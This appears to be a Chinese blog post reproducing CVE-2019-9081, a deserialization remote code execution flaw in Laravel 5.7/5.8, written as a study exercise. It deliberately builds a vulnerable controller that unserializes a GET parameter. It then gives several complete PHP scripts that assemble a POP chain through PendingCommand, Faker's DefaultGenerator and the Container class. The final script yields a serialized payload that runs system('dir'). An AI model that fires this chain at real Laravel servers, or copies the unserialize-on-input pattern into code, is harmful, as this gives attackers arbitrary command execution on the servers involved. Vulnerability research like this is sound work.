Laravel v5.8 反序列化rce (CVE-2019-9081) 复现

Laravel是一款比较流行的优秀php开发框架,本身也比较重,通过这个框架来接触大型框架的代码审计、包括锻炼反序列化漏洞的挖掘利用是比较合适的。在学习了几天Laravel开发以后,我尝试复现了一下CVE-2019-9081,整体过程和原作者还是有些区别的,原作者思维比较跳跃的地方,我按自己的思维尝试摸索,有错误之处欢迎斧正。

环境搭建

使用composer+PhpStorm+xampp的方式配置laravel
首先下载composer,安装完成之后配置国内镜像源
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
使用PhpStorm直接在xampp/htdocs下创建composer项目

访问public目录出现如下界面表示Laravel配置成功

接下来创建控制器
php artisan make:controller DemoController
配置路由

Route::get('/demo', '\App\Http\Controllers\DemoController@demo');

控制器

class DemoController extends Controller
{
    public function demo()
    {
        if (isset($_GET['c'])) {
            $code = $_GET['c'];
            unserialize($code);
        } else {
            highlight_file(__FILE__);
        }
        return "Welcome to laravel5.8";
    }
}

访问public/demo

pop链入口

Laravel v5.7相较Laravel v5.6在vendor/laravel/framework/src/Illuminate/Foundation/Testing下新增了PendingCommand.php,其中有PendingCommand类,它的__destruct方法是这样的

跟进run方法,在run方法的头顶,赫然写着Execute the command

一大堆东西,其中$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);看起来有可能是执行命令的函数,前面会经过很多代码,这时候不如debug跟一下

初探run

这时候先随便构造个payload

<?php

namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        public $test;
        protected $command;
        protected $parameters;
        protected $app;
        public function __construct($command, $parameters, $test, $app)
        {
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace{
    $a = new Illuminate\Foundation\Testing\PendingCommand('system', 'dir');
    echo urlencode(serialize($a));
}

传进去,断点断下来,单步

hasExecuted默认是false,直接往下走,进到run

有个mockConsoleOutput(),跟进去

第一句直接报错了,看一下laravel的报错

原来是我们$parameters类型问题,改成数组

<?php

namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        public $test;
        protected $command;
        protected $parameters;
        protected $app;
        public function __construct($command, $parameters, $test, $app)
        {
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace{
    $a = new Illuminate\Foundation\Testing\PendingCommand('system', ['dir']);
    echo urlencode(serialize($a));
}

重来还是报错,这次是第一句里面的createABufferedOutputMock()

这时候$this->testnull,这个属性是可控的。全局搜索$expectedQuestions,找找有没有可用的类,发现只有一个trait,没法实例化。

__call续接pop链

取属性取不到怎么办?答案是找__call。这一步比较自由,原作者用的是Illuminate\Auth\GenericUser,我找的是Faker\DefaultGenerator$default完全可控

这时候再修改一下payload

<?php

namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        public $test;
        protected $command;
        protected $parameters;
        protected $app;
        public function __construct($command, $parameters, $test)
        {
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test = $test;
        }
    }
}

namespace Faker{
    class DefaultGenerator{
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace{
    $b = new Faker\DefaultGenerator(['0'=>'1']);
    $a = new Illuminate\Foundation\Testing\PendingCommand('system', ['dir'], $b);
    echo urlencode(serialize($a));
}

然后我们就可以顺利通过createABufferedOutputMock()。回到mockConsoleOutput(),接下来的foreach和刚刚的一样,顺利通过。

走出mockConsoleOutput

终于马上可以出这个方法,但是再一次报错

$this->app->bind(OutputStyle::class, function () use ($mock) {
    return $mock;
});

这次是因为$this->appnull。去前面看app是个什么

然而找了半天没找到这么个Application类,去文档搜索有bind()方法的类

Illuminate\Container\Container就你了,那么现在的payload是

<?php

namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        public $test;
        protected $command;
        protected $parameters;
        protected $app;
        public function __construct($command, $parameters, $test, $app)
        {
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test = $test;
            $this->app = $app;
        }
    }
}

namespace Faker{
    class DefaultGenerator{
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Container{
    class Container{
    }
}
namespace{

    $c = new Illuminate\Container\Container();
    $b = new Faker\DefaultGenerator(['0'=>'1']);
    $a = new Illuminate\Foundation\Testing\PendingCommand('system', ['dir'], $b, $c);
    echo urlencode(serialize($a));
}

总算是走出了mockConsoleOutput,回到run

代码执行

终于走到疑似代码执行的地方

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

这才发现app是有要求的,看一下Kernel::class好像是个固定值,跟着走,发现下图左下调用栈,这时候我们的目的是让代码走通就行,所以只管往下走就行。

一直调用到isBuildable()除了问题,

往里走到build

$reflector->isInstantiable()那里过不了,借助反射类看一下,原来Illuminate\Contracts\Console\Kernel是个接口,正好getConcrete()中,我们可以找到任意一个有$binding属性的类来实例化的。

正好,我们之前用的Illuminate\Container\Container就满足这个条件,由于我们已知$abstract变量为Illuminate\Contracts\Console\Kernel,所以我们只需通过反序列化定义Illuminate\Container\Container的$bindings属性存在键名为Illuminate\Contracts\Console\Kernel的二维数组就能进入该分支语句,这时候payload如下

<?php

namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        public $test;
        protected $command;
        protected $parameters;
        protected $app;
        public function __construct($command, $parameters, $test, $app)
        {
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test = $test;
            $this->app = $app;
        }
    }
}

namespace Faker{
    class DefaultGenerator{
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Container{
    class Container{
        protected $bindings = [];
        public function __construct($bindings)
        {
            $this->bindings = $bindings;
        }
    }
}
namespace{

    $c = new Illuminate\Container\Container(['Illuminate\Contracts\Console\Kernel'=>['concrete'=>'Illuminate\Container\Container']]);
    $b = new Faker\DefaultGenerator(['0'=>'1']);
    $a = new Illuminate\Foundation\Testing\PendingCommand('system', ['dir'], $b, $c);
    echo urlencode(serialize($a));
}

这时候isBuildable()我们第一遍是过不去的

但是进入make()以后,第二遍循环时$concrete$abstract已经都是Illuminate\Container\Container了,注意左下的调用栈

成功实例化类,最后逐层返回我们创建的对象。最后我们可以知道通过我们传入的payload,$this->app[Kernel::class]最终返回的内容就是我们创建的Illuminate\Container\Container类的对象

最后call的庐山真面目

成功执行call_user_func_array('system',array('dir'))

参考链接

CVE原作者博客 laravelv5.7反序列化rce(CVE-2019-9081)

posted @ 2020-02-22 03:20  MustaphaMond  阅读(1029)  评论(0编辑  收藏  举报